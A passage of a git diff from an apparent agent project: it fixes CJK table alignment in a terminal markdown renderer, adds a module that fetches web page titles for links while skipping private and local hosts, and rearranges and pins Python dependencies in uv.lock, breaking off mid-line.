a CJK header cell padded to 2 cells while + // the body cell padded to 4, drifting subsequent columns by 2 + // cells per CJK char. + // + // Post-fix contract: the prefix preceding the start of column N + // has the same display width across the header and every body row + // (deduped to skip the divider, which renders independently). + const lines = renderPlain( + React.createElement(Box, null, React.createElement(Md, { compact: true, t: DEFAULT_THEME, text: md })) + ).filter(line => line.trim().length > 0) + + // Heuristic: a "data row" line either contains 'Config' (header) + // or one of the body labels; a divider is all box-drawing. Use + // the substring 'Config' / 'dense' / 'chat' / 'qwen' as the + // unique anchor for column 2's start position on each row. + const colStarts = (line: string, anchor: string): number => { + const idx = line.indexOf(anchor) + + return idx < 0 ? -1 : stringWidth(line.slice(0, idx)) + } + + const headerCol2 = lines.map(l => colStarts(l, 'Config')).find(v => v >= 0) + const denseCol2 = lines.map(l => colStarts(l, 'dense')).find(v => v >= 0) + const chatCol2 = lines.map(l => colStarts(l, 'chat')).find(v => v >= 0) + const qwenCol2 = lines.map(l => colStarts(l, 'qwen')).find(v => v >= 0) + + expect(headerCol2).toBeDefined() + expect(denseCol2).toBe(headerCol2) + expect(chatCol2).toBe(headerCol2) + // The CJK row is the one that drifted before the fix. It must + // align with the rest now. + expect(qwenCol2).toBe(headerCol2) + }) +}) diff --git a/ui-tui/src/components/markdown.tsx b/ui-tui/src/components/markdown.tsx index d736af144ed0..ae234eb9ec72 100644 --- a/ui-tui/src/components/markdown.tsx +++ b/ui-tui/src/components/markdown.tsx @@ -1,7 +1,8 @@ -import { Box, Link, Text } from '@hermes/ink' +import { Box, Link, stringWidth, Text } from '@hermes/ink' import { Fragment, memo, type ReactNode, useMemo } from 'react' import { ensureEmojiPresentation } from '../lib/emoji.js' +import { normalizeExternalUrl, urlSlugTitleLabel, useLinkTitle } from '../lib/externalLink.js' import { BOX_CLOSE, BOX_OPEN, texToUnicode } from '../lib/mathUnicode.js' import { highlightLine, isHighlightable } from '../lib/syntax.js' import type { Theme } from '../theme.js' @@ -143,13 +144,43 @@ const isTableDivider = (row: string) => { const autolinkUrl = (raw: string) => raw.startsWith('mailto:') || raw.startsWith('http') || !raw.includes('@') ? raw : `mailto:${raw}` -const renderAutolink = (k: number, t: Theme, raw: string) => ( - - - {raw.replace(/^mailto:/, '')} - - -) +const defaultLinkLabel = (url: string) => + url.startsWith('mailto:') ? url.replace(/^mailto:/, '') : /^https?:\/\//i.test(url) ? urlSlugTitleLabel(url) : url + +const pickFallbackLabel = (label: string | undefined, target: string): string | undefined => { + const trimmed = label?.trim() + + if (!trimmed) { + return undefined + } + + return normalizeExternalUrl(trimmed) === target ? undefined : trimmed +} + +interface ResolvedLinkProps { + fallbackLabel?: string + t: Theme + url: string +} + +function ResolvedLink({ fallbackLabel, t, url }: ResolvedLinkProps) { + const fetched = useLinkTitle(url) + const display = fetched || fallbackLabel || defaultLinkLabel(url) + + return ( + + + {display} + + + ) +} + +const renderResolvedLink = (k: number, t: Theme, rawUrl: string, label?: string) => { + const target = normalizeExternalUrl(rawUrl) + + return +} export const stripInlineMarkup = (v: string) => v @@ -170,16 +201,22 @@ export const stripInlineMarkup = (v: string) => .replace(/\\\(([^\n]+?)\\\)/g, '$1') const renderTable = (k: number, rows: string[][], t: Theme) => { - const widths = rows[0]!.map((_, ci) => Math.max(...rows.map(r => stripInlineMarkup(r[ci] ?? '').length))) + // Column widths in *display cells*, not UTF-16 code units. CJK + // glyphs and most emoji render as two cells but `String#length` + // counts them as one, which collapses Chinese / Japanese / Korean + // tables into drift across rows. `stringWidth` (Bun.stringWidth + // fast path + an East-Asian-width-aware fallback, memoised in + // @hermes/ink) returns the actual cell count. + const cellWidth = (raw: string) => stringWidth(stripInlineMarkup(raw)) + + const widths = rows[0]!.map((_, ci) => Math.max(...rows.map(r => cellWidth(r[ci] ?? '')))) // Thin divider under the header. Without it tables look like prose // with extra spacing because the header is just accent-coloured text // (#15534). We avoid full borders on purpose — column widths come - // from `stripInlineMarkup(...).length` (UTF-16 code units, not - // display width), so a real outline often misaligns on emoji and - // East-Asian wide characters; one dim solid rule (`─`) under row 0 - // plus tab-style column gaps reads cleanly on every terminal we - // tested. + // from `stringWidth(...)`, so the dividers and the row content stay + // in sync on CJK / emoji tables; tab-style column gaps still read + // cleanly without the boxed look. const sep = widths.map(w => '─'.repeat(Math.max(1, w))).join(' ') return ( @@ -190,7 +227,7 @@ const renderTable = (k: number, rows: string[][], t: Theme) => { {widths.map((w, ci) => ( - {' '.repeat(Math.max(0, w - stripInlineMarkup(row[ci] ?? '').length))} + {' '.repeat(Math.max(0, w - cellWidth(row[ci] ?? '')))} {ci < widths.length - 1 ? ' ' : ''} ))} @@ -226,15 +263,9 @@ function MdInline({ t, text }: { t: Theme; text: string }) { ) } else if (m[3] && m[4]) { - parts.push( - - - {m[3]} - - - ) + parts.push(renderResolvedLink(parts.length, t, m[4], m[3])) } else if (m[5]) { - parts.push(renderAutolink(parts.length, t, m[5])) + parts.push(renderResolvedLink(parts.length, t, autolinkUrl(m[5]), m[5].replace(/^mailto:/, ''))) } else if (m[6]) { parts.push( @@ -296,7 +327,7 @@ function MdInline({ t, text }: { t: Theme; text: string }) { // so `see https://x.com/, which…` keeps the comma outside the link. const url = m[16].replace(/[),.;:!?]+$/g, '') - parts.push(renderAutolink(parts.length, t, url)) + parts.push(renderResolvedLink(parts.length, t, url)) if (url.length < m[16].length) { parts.push({m[16].slice(url.length)}) diff --git a/ui-tui/src/lib/externalLink.ts b/ui-tui/src/lib/externalLink.ts new file mode 100644 index 000000000000..04721bfa3f6d --- /dev/null +++ b/ui-tui/src/lib/externalLink.ts @@ -0,0 +1,429 @@ +import { isIP } from 'node:net' + +import { useEffect, useMemo, useState } from 'react' + +const titleCache = new Map() +const titleInflight = new Map>() +const titleSubs = new Map void>>() + +const TITLE_CACHE_LIMIT = 500 +const TITLE_MAX_LENGTH = 240 +const TITLE_BYTE_BUDGET = 96 * 1024 +const TITLE_TIMEOUT_MS = 5000 + +const TITLE_USER_AGENT = + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_6_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36' + +const TITLE_ERROR_RE = + /\b(?:access denied|attention required|captcha|error|forbidden|just a moment|request blocked|too many requests)\b/i + +const DOMAIN_RE = /^(?:www\.)?[a-z0-9](?:[a-z0-9-]*\.)+[a-z]{2,}(?::\d+)?(?:[/?#][^\s]*)?$/i +const SKIP_PROTO_RE = /^(?:file|data|mailto|javascript|blob|chrome|about|hermes):/i +const LOCAL_HOSTNAME_RE = /^(?:localhost|localhost\.localdomain)$/i +const LOCAL_HOST_SUFFIXES = ['.corp', '.home', '.internal', '.lan', '.local', '.localdomain'] + +const HTML_ENTITIES: Record = { + '#39': "'", + amp: '&', + apos: "'", + gt: '>', + lt: '<', + nbsp: ' ', + quot: '"' +} + +export function normalizeExternalUrl(value: string): string { + const trimmed = value.trim() + + if (!trimmed || /^https?:\/\//i.test(trimmed)) { + return trimmed + } + + return DOMAIN_RE.test(trimmed) ? `https://${trimmed}` : trimmed +} + +function parseUrl(value: string): null | URL { + try { + return new URL(normalizeExternalUrl(value)) + } catch { + return null + } +} + +function titleCacheKey(value: string): string { + const url = parseUrl(value) + + if (!url) { + return normalizeExternalUrl(value) + } + + const host = url.hostname.replace(/^www\./i, '').toLowerCase() + const pathname = url.pathname === '/' ? '/' : url.pathname.replace(/\/+$/, '') || '/' + + return `${host}${pathname}${url.search || ''}` +} + +function cacheTitle(key: string, title: string): void { + if (titleCache.size >= TITLE_CACHE_LIMIT) { + titleCache.delete(titleCache.keys().next().value as string) + } + + titleCache.set(key, title) +} + +export function hostPathLabel(value: string): string { + const url = parseUrl(value) + + if (!url) { + return value + } + + const host = url.hostname.replace(/^www\./, '') + const path = url.pathname && url.pathname !== '/' ? url.pathname.replace(/\/$/, '') : '' + + return `${host}${path}` +} + +function cleanSlug(segment: string): string { + try { + return decodeURIComponent(segment) + .replace(/\.a\d+\..*$/i, '') + .replace(/\.(?:html?|php|aspx?)$/i, '') + .replace(/(?:[-_.](?:[a-z]{1,3}\d{2,}|i\d{2,}))+$/i, '') + .replace(/[_-]+/g, ' ') + .replace(/\s+/g, ' ') + .trim() + } catch { + return '' + } +} + +export function urlSlugTitleLabel(value: string): string { + const url = parseUrl(value) + + for (const segment of url?.pathname.split('/').filter(Boolean).reverse() ?? []) { + const cleaned = cleanSlug(segment) + + if (!cleaned || !/[a-z]/i.test(cleaned)) { + continue + } + + if (/^(?:[a-z]{1,3}\d+|\d+)$/i.test(cleaned.replace(/\s+/g, ''))) { + continue + } + + const titled = cleaned.replace(/\b[a-z]/g, c => c.toUpperCase()) + + if (titled.length >= 4) { + return titled + } + } + + return hostPathLabel(value) +} + +function parseIpv4Octets(value: string): null | [number, number, number, number] { + const parts = value.split('.') + + if (parts.length !== 4) { + return null + } + + const octets: number[] = [] + + for (const part of parts) { + if (!/^\d{1,3}$/.test(part)) { + return null + } + + const next = Number(part) + + if (!Number.isInteger(next) || next < 0 || next > 255) { + return null + } + + octets.push(next) + } + + return [octets[0]!, octets[1]!, octets[2]!, octets[3]!] +} + +function isPrivateIpv4(value: string): boolean { + const octets = parseIpv4Octets(value) + + if (!octets) { + return false + } + + const [a, b] = octets + + return ( + a === 0 || + a === 10 || + a === 127 || + a === 255 || + (a === 100 && b >= 64 && b <= 127) || + (a === 169 && b === 254) || + (a === 172 && b >= 16 && b <= 31) || + (a === 192 && b === 168) || + (a === 198 && (b === 18 || b === 19)) + ) +} + +function isPrivateIpv6(value: string): boolean { + const normalized = value.toLowerCase() + + if (normalized === '::' || normalized === '::1') { + return true + } + + if (normalized.startsWith('fc') || normalized.startsWith('fd')) { + return true + } + + if (normalized.startsWith('fe8') || normalized.startsWith('fe9') || normalized.startsWith('fea') || normalized.startsWith('feb')) { + return true + } + + if (normalized.startsWith('::ffff:')) { + return isPrivateIpv4(normalized.slice('::ffff:'.length)) + } + + return false +} + +function normalizeHostname(value: string): string { + const withoutBrackets = value.replace(/^\[/, '').replace(/\]$/, '') + const withoutZoneId = withoutBrackets.split('%', 1)[0]! + + return withoutZoneId.replace(/\.$/, '').toLowerCase() +} + +function isPrivateOrLocalHost(hostname: string): boolean { + const normalized = normalizeHostname(hostname) + + if (!normalized) { + return true + } + + if (LOCAL_HOSTNAME_RE.test(normalized)) { + return true + } + + if (LOCAL_HOST_SUFFIXES.some(suffix => normalized.endsWith(suffix))) { + return true + } + + const ipVersion = isIP(normalized) + + if (ipVersion === 4) { + return isPrivateIpv4(normalized) + } + + if (ipVersion === 6) { + return isPrivateIpv6(normalized) + } + + // Single-label hostnames are usually LAN names or enterprise intranet aliases. + return !normalized.includes('.') +} + +export function isTitleFetchable(value: string): boolean { + if (!value || SKIP_PROTO_RE.test(value)) { + return false + } + + const url = parseUrl(value) + + return Boolean(url && /^https?:$/.test(url.protocol) && !isPrivateOrLocalHost(url.hostname)) +} + +function decodeHtmlEntities(value: string): string { + return value + .replace(/&(amp|lt|gt|quot|apos|nbsp|#39);/gi, (_match, key: string) => HTML_ENTITIES[key.toLowerCase()] ?? '') + .replace(/&#x([0-9a-f]+);/gi, (_match, hex: string) => String.fromCodePoint(parseInt(hex, 16) || 32)) + .replace(/&#(\d+);/g, (_match, decimal: string) => String.fromCodePoint(parseInt(decimal, 10) || 32)) +} + +function parseHtmlTitle(html: string): string { + const raw = html.match(/]*>([\s\S]*?)<\/title>/i)?.[1] + + return raw ? decodeHtmlEntities(raw).replace(/\s+/g, ' ').trim() : '' +} + +async function readResponseSnippet(response: Response): Promise { + const reader = response.body?.getReader() + + if (!reader) { + return (await response.text()).slice(0, TITLE_BYTE_BUDGET) + } + + const chunks: Uint8Array[] = [] + let done = false + let bytes = 0 + + try { + while (bytes < TITLE_BYTE_BUDGET) { + const chunk = await reader.read() + + if (chunk.done) { + done = true + + break + } + + const value = chunk.value + + if (!value?.length) { + continue + } + + const remaining = TITLE_BYTE_BUDGET - bytes + const next = value.length > remaining ? value.subarray(0, remaining) : value + + chunks.push(next) + bytes += next.length + + if (next.length < value.length) { + break + } + } + } catch { + return '' + } finally { + if (!done) { + try { + await reader.cancel() + } catch { + // Ignore stream teardown failures. + } + } + } + + if (!chunks.length) { + return '' + } + + const joined = new Uint8Array(bytes) + let offset = 0 + + for (const chunk of chunks) { + joined.set(chunk, offset) + offset += chunk.length + } + + return new TextDecoder().decode(joined) +} + +function usableTitle(value: string): string { + const clean = value.replace(/\s+/g, ' ').trim() + + return clean && !TITLE_ERROR_RE.test(clean) ? clean : '' +} + +async function fetchHtmlTitle(normalizedUrl: string): Promise { + const controller = new AbortController() + const timeout = setTimeout(() => controller.abort(), TITLE_TIMEOUT_MS) + + try { + const response = await fetch(normalizedUrl, { + headers: { + Accept: 'text/html,application/xhtml+xml;q=0.9,*/*;q=0.5', + 'Accept-Language': 'en-US,en;q=0.7', + 'User-Agent': TITLE_USER_AGENT + }, + redirect: 'follow', + signal: controller.signal + }) + + if (!response.ok) { + return '' + } + + const contentType = response.headers.get('content-type') + + if (contentType && !/(?:html|xml|text\/html)/i.test(contentType)) { + return '' + } + + const html = await readResponseSnippet(response) + + return parseHtmlTitle(html).slice(0, TITLE_MAX_LENGTH) + } catch { + return '' + } finally { + clearTimeout(timeout) + } +} + +export function fetchLinkTitle(url: string): Promise { + const normalizedUrl = normalizeExternalUrl(url) + const key = titleCacheKey(normalizedUrl) + + if (!isTitleFetchable(normalizedUrl)) { + return Promise.resolve('') + } + + if (titleCache.has(key)) { + return Promise.resolve(titleCache.get(key) ?? '') + } + + const pending = titleInflight.get(key) + + if (pending) { + return pending + } + + const promise = fetchHtmlTitle(normalizedUrl) + .then(usableTitle) + .catch(() => '') + .then(clean => { + cacheTitle(key, clean) + titleSubs.get(key)?.forEach(sub => sub(clean)) + + return clean + }) + .finally(() => { + titleInflight.delete(key) + }) + + titleInflight.set(key, promise) + + return promise +} + +export function useLinkTitle(url?: null | string): string { + const normalizedUrl = useMemo(() => (url ? normalizeExternalUrl(url) : ''), [url]) + const key = useMemo(() => (normalizedUrl ? titleCacheKey(normalizedUrl) : ''), [normalizedUrl]) + const [title, setTitle] = useState(() => (key ? (titleCache.get(key) ?? '') : '')) + + useEffect(() => { + setTitle(key ? (titleCache.get(key) ?? '') : '') + + if (!key || !isTitleFetchable(normalizedUrl)) { + return + } + + const subs = titleSubs.get(key) ?? new Set<(value: string) => void>() + + subs.add(setTitle) + titleSubs.set(key, subs) + void fetchLinkTitle(normalizedUrl) + + return () => { + subs.delete(setTitle) + + if (!subs.size) { + titleSubs.delete(key) + } + } + }, [key, normalizedUrl]) + + return title +} + +export function __resetLinkTitleCache(): void { + titleCache.clear() + titleInflight.clear() + titleSubs.clear() +} diff --git a/uv.lock b/uv.lock index 93fe3d6f0ee1..5051fdf0727d 100644 --- a/uv.lock +++ b/uv.lock @@ -1394,15 +1394,6 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/97/a8/c070e1340636acb38d4e6a7e45c46d168a462b48b9b3257e14ca0e5af79b/environs-14.6.0-py3-none-any.whl", hash = "sha256:f8fb3d6c6a55872b0c6db077a28f5a8c7b8984b7c32029613d44cef95cfc0812", size = 17205, upload-time = "2026-02-20T04:02:07.299Z" }, ] -[[package]] -name = "eval-type-backport" -version = "0.3.1" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/fb/a3/cafafb4558fd638aadfe4121dc6cefb8d743368c085acb2f521df0f3d9d7/eval_type_backport-0.3.1.tar.gz", hash = "sha256:57e993f7b5b69d271e37482e62f74e76a0276c82490cf8e4f0dffeb6b332d5ed", size = 9445, upload-time = "2025-12-02T11:51:42.987Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/cf/22/fdc2e30d43ff853720042fa15baa3e6122722be1a7950a98233ebb55cd71/eval_type_backport-0.3.1-py3-none-any.whl", hash = "sha256:279ab641905e9f11129f56a8a78f493518515b83402b860f6f06dd7c011fdfa8", size = 6063, upload-time = "2025-12-02T11:51:41.665Z" }, -] - [[package]] name = "exa-py" version = "2.10.2" @@ -1962,17 +1953,11 @@ name = "hermes-agent" version = "0.13.0" source = { editable = "." } dependencies = [ - { name = "anthropic" }, { name = "croniter" }, - { name = "edge-tts" }, - { name = "exa-py" }, - { name = "fal-client" }, { name = "fire" }, - { name = "firecrawl-py" }, { name = "httpx", extra = ["socks"] }, { name = "jinja2" }, { name = "openai" }, - { name = "parallel-web" }, { name = "prompt-toolkit" }, { name = "psutil" }, { name = "pydantic" }, @@ -1996,15 +1981,20 @@ all = [ { name = "aiohttp-socks", marker = "sys_platform == 'linux'" }, { name = "aiosqlite", marker = "sys_platform == 'linux'" }, { name = "alibabacloud-dingtalk" }, + { name = "anthropic" }, { name = "asyncpg", marker = "sys_platform == 'linux'" }, { name = "boto3" }, { name = "daytona" }, { name = "debugpy" }, { name = "dingtalk-stream" }, { name = "discord-py", extra = ["voice"] }, + { name = "edge-tts" }, { name = "elevenlabs" }, + { name = "exa-py" }, + { name = "fal-client" }, { name = "fastapi" }, { name = "faster-whisper" }, + { name = "firecrawl-py" }, { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, { name = "google-auth-oauthlib" }, @@ -2013,9 +2003,9 @@ all = [ { name = "markdown", marker = "sys_platform == 'linux'" }, { name = "mautrix", extra = ["encryption"], marker = "sys_platform == 'linux'" }, { name = "mcp" }, - { name = "mistralai" }, { name = "modal" }, { name = "numpy" }, + { name = "parallel-web" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pytest" }, { name = "pytest-asyncio" }, @@ -2034,6 +2024,9 @@ all = [ { name = "vercel" }, { name = "youtube-transcript-api" }, ] +anthropic = [ + { name = "anthropic" }, +] bedrock = [ { name = "boto3" }, ] @@ -2061,10 +2054,22 @@ dingtalk = [ { name = "dingtalk-stream" }, { name = "qrcode" }, ] +edge-tts = [ + { name = "edge-tts" }, +] +exa = [ + { name = "exa-py" }, +] +fal = [ + { name = "fal-client" }, +] feishu = [ { name = "lark-oapi" }, { name = "qrcode" }, ] +firecrawl = [ + { name = "firecrawl-py" }, +] google = [ { name = "google-api-python-client" }, { name = "google-auth-httplib2" }, @@ -2097,12 +2102,12 @@ messaging = [ { name = "slack-bolt" }, { name = "slack-sdk" }, ] -mistral = [ - { name = "mistralai" }, -] modal = [ { name = "modal" }, ] +parallel-web = [ + { name = "parallel-web" }, +] pty = [ { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, @@ -2145,7 +2150,6 @@ termux-all = [ { name = "honcho-ai" }, { name = "lark-oapi" }, { name = "mcp" }, - { name = "mistralai" }, { name = "ptyprocess", marker = "sys_platform != 'win32'" }, { name = "python-telegram-bot", extra = ["webhooks"] }, { name = "pywinpty", marker = "sys_platform == 'win32'" }, @@ -2179,36 +2183,37 @@ youtube = [ [package.metadata] requires-dist = [ - { name = "agent-client-protocol", marker = "extra == 'acp'", specifier = ">=0.9.0,<1.0" }, - { name = "aiohttp", marker = "extra == 'homeassistant'", specifier = ">=3.9.0,<4" }, - { name = "aiohttp", marker = "extra == 'messaging'", specifier = ">=3.13.3,<4" }, - { name = "aiohttp", marker = "extra == 'sms'", specifier = ">=3.9.0,<4" }, - { name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = ">=0.10,<1" }, - { name = "aiosqlite", marker = "extra == 'matrix'", specifier = ">=0.20" }, - { name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = ">=2.0.0" }, - { name = "anthropic", specifier = ">=0.39.0,<1" }, - { name = "asyncpg", marker = "extra == 'matrix'", specifier = ">=0.29" }, + { name = "agent-client-protocol", marker = "extra == 'acp'", specifier = "==0.9.0" }, + { name = "aiohttp", marker = "extra == 'homeassistant'", specifier = "==3.13.3" }, + { name = "aiohttp", marker = "extra == 'messaging'", specifier = "==3.13.3" }, + { name = "aiohttp", marker = "extra == 'sms'", specifier = "==3.13.3" }, + { name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = "==0.11.0" }, + { name = "aiosqlite", marker = "extra == 'matrix'", specifier = "==0.22.1" }, + { name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = "==2.2.42" }, + { name = "anthropic", marker = "extra == 'anthropic'", specifier = "==0.86.0" }, + { name = "asyncpg", marker = "extra == 'matrix'", specifier = "==0.31.0" }, { name = "atroposlib", marker = "extra == 'rl'", git = "https://github.com/NousResearch/atropos.git?rev=c20c85256e5a45ad31edf8b7276e9c5ee1995a30" }, - { name = "boto3", marker = "extra == 'bedrock'", specifier = ">=1.35.0,<2" }, - { name = "croniter", specifier = ">=6.0.0,<7" }, - { name = "daytona", marker = "extra == 'daytona'", specifier = ">=0.148.0,<1" }, - { name = "debugpy", marker = "extra == 'dev'", specifier = ">=1.8.0,<2" }, - { name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = ">=0.20,<1" }, - { name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = ">=2.7.1,<3" }, - { name = "edge-tts", specifier = ">=7.2.7,<8" }, - { name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = ">=1.0,<2" }, - { name = "exa-py", specifier = ">=2.9.0,<3" }, - { name = "fal-client", specifier = ">=0.13.1,<1" }, - { name = "fastapi", marker = "extra == 'rl'", specifier = ">=0.104.0,<1" }, - { name = "fastapi", marker = "extra == 'web'", specifier = ">=0.104.0,<1" }, - { name = "faster-whisper", marker = "extra == 'voice'", specifier = ">=1.0.0,<2" }, - { name = "fire", specifier = ">=0.7.1,<1" }, - { name = "firecrawl-py", specifier = ">=4.16.0,<5" }, - { name = "google-api-python-client", marker = "extra == 'google'", specifier = ">=2.100,<3" }, - { name = "google-auth-httplib2", marker = "extra == 'google'", specifier = ">=0.2,<1" }, - { name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = ">=1.0,<2" }, + { name = "boto3", marker = "extra == 'bedrock'", specifier = "==1.42.89" }, + { name = "croniter", specifier = "==6.0.0" }, + { name = "daytona", marker = "extra == 'daytona'", specifier = "==0.155.0" }, + { name = "debugpy", marker = "extra == 'dev'", specifier = "==1.8.20" }, + { name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = "==0.24.3" }, + { name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = "==2.7.1" }, + { name = "edge-tts", marker = "extra == 'edge-tts'", specifier = "==7.2.7" }, + { name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = "==1.59.0" }, + { name = "exa-py", marker = "extra == 'exa'", specifier = "==2.10.2" }, + { name = "fal-client", marker = "extra == 'fal'", specifier = "==0.13.1" }, + { name = "fastapi", marker = "extra == 'rl'", specifier = "==0.133.1" }, + { name = "fastapi", marker = "extra == 'web'", specifier = "==0.133.1" }, + { name = "faster-whisper", marker = "extra == 'voice'", specifier = "==1.2.1" }, + { name = "fire", specifier = "==0.7.1" }, + { name = "firecrawl-py", marker = "extra == 'firecrawl'", specifier = "==4.17.0" }, + { name = "google-api-python-client", marker = "extra == 'google'", specifier = "==2.194.0" }, + { name = "google-auth-httplib2", marker = "extra == 'google'", specifier = "==0.3.1" }, + { name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = "==1.3.1" }, { name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" }, + { name = "hermes-agent", extras = ["anthropic"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" }, @@ -2219,8 +2224,12 @@ requires-dist = [ { name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" }, + { name = "hermes-agent", extras = ["edge-tts"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["exa"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["fal"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" }, + { name = "hermes-agent", extras = ["firecrawl"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" }, @@ -2232,9 +2241,8 @@ requires-dist = [ { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" }, - { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'all'" }, - { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["parallel-web"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" }, @@ -2249,60 +2257,59 @@ requires-dist = [ { name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" }, - { name = "hindsight-client", marker = "extra == 'hindsight'", specifier = ">=0.4.22" }, - { name = "honcho-ai", marker = "extra == 'honcho'", specifier = ">=2.0.1,<3" }, - { name = "httpx", extras = ["socks"], specifier = ">=0.28.1,<1" }, - { name = "jinja2", specifier = ">=3.1.5,<4" }, - { name = "lark-oapi", marker = "extra == 'feishu'", specifier = ">=1.5.3,<2" }, - { name = "markdown", marker = "extra == 'matrix'", specifier = ">=3.6,<4" }, - { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = ">=0.20,<1" }, - { name = "mcp", marker = "extra == 'computer-use'", specifier = ">=1.2.0,<2" }, - { name = "mcp", marker = "extra == 'dev'", specifier = ">=1.2.0,<2" }, - { name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.2.0,<2" }, - { name = "mistralai", marker = "extra == 'mistral'", specifier = ">=2.3.0,<3" }, - { name = "modal", marker = "extra == 'modal'", specifier = ">=1.0.0,<2" }, - { name = "numpy", marker = "extra == 'voice'", specifier = ">=1.24.0,<3" }, - { name = "openai", specifier = ">=2.21.0,<3" }, - { name = "parallel-web", specifier = ">=0.4.2,<1" }, - { name = "prompt-toolkit", specifier = ">=3.0.52,<4" }, - { name = "psutil", specifier = ">=5.9.0,<8" }, - { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = ">=0.7.0,<1" }, - { name = "pydantic", specifier = ">=2.12.5,<3" }, - { name = "pyjwt", extras = ["crypto"], specifier = ">=2.12.0,<3" }, - { name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2,<10" }, - { name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0,<2" }, - { name = "pytest-split", marker = "extra == 'dev'", specifier = ">=0.9,<1" }, - { name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.0,<4" }, - { name = "python-dotenv", specifier = ">=1.2.1,<2" }, - { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = ">=22.6,<23" }, - { name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = ">=22.6,<23" }, - { name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = ">=2.0.0,<3" }, - { name = "pyyaml", specifier = ">=6.0.2,<7" }, - { name = "qrcode", marker = "extra == 'dingtalk'", specifier = ">=7.0,<8" }, - { name = "qrcode", marker = "extra == 'feishu'", specifier = ">=7.0,<8" }, - { name = "qrcode", marker = "extra == 'messaging'", specifier = ">=7.0,<8" }, - { name = "requests", specifier = ">=2.33.0,<3" }, - { name = "rich", specifier = ">=14.3.3,<15" }, - { name = "ruamel-yaml", specifier = ">=0.18.16,<0.19" }, - { name = "ruff", marker = "extra == 'dev'" }, - { name = "simple-term-menu", marker = "extra == 'cli'", specifier = ">=1.0,<2" }, - { name = "slack-bolt", marker = "extra == 'messaging'", specifier = ">=1.18.0,<2" }, - { name = "slack-bolt", marker = "extra == 'slack'", specifier = ">=1.18.0,<2" }, - { name = "slack-sdk", marker = "extra == 'messaging'", specifier = ">=3.27.0,<4" }, - { name = "slack-sdk", marker = "extra == 'slack'", specifier = ">=3.27.0,<4" }, - { name = "sounddevice", marker = "extra == 'voice'", specifier = ">=0.4.6,<1" }, - { name = "tenacity", specifier = ">=9.1.4,<10" }, + { name = "hindsight-client", marker = "extra == 'hindsight'", specifier = "==0.6.1" }, + { name = "honcho-ai", marker = "extra == 'honcho'", specifier = "==2.0.1" }, + { name = "httpx", extras = ["socks"], specifier = "==0.28.1" }, + { name = "jinja2", specifier = "==3.1.6" }, + { name = "lark-oapi", marker = "extra == 'feishu'", specifier = "==1.5.3" }, + { name = "markdown", marker = "extra == 'matrix'", specifier = "==3.10.2" }, + { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = "==0.21.0" }, + { name = "mcp", marker = "extra == 'computer-use'", specifier = "==1.26.0" }, + { name = "mcp", marker = "extra == 'dev'", specifier = "==1.26.0" }, + { name = "mcp", marker = "extra == 'mcp'", specifier = "==1.26.0" }, + { name = "modal", marker = "extra == 'modal'", specifier = 